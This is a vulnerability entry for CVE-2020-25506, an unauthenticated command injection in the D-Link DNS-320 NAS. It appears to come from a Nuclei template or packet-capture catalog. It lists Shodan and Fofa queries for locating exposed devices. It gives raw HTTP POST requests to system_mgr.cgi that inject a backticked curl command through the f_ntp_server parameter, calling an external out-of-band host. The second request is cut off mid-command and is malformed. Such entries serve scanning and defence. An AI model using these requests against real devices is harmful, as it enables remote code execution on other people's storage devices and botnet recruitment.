| Title | D-Link DNS-320 - Unauthenticated Remote Code Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device. |
| Remediation | Apply the latest firmware update provided by D-Link to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9384 |
| CVE ID | CVE-2020-25506 |
| CWE ID | CWE-78 |
| Shodan Query | http.html:"sharecenter" |
| Fofa Query | body="sharecenter" |
| Tags | cve cve2020 dlink rce oast mirai unauth router kev vkev vuln |
D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
POST /cgi-bin/system_mgr.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 116
Accept: */*
Accept-Encoding: gzip
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://d5jopk9le0o4i60705hgmfr1spqwwyc9c.oast.pro -H 'User-Agent: PHZZGo'`
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Accept: */*
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25506.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-25506.pcap
N/AN/A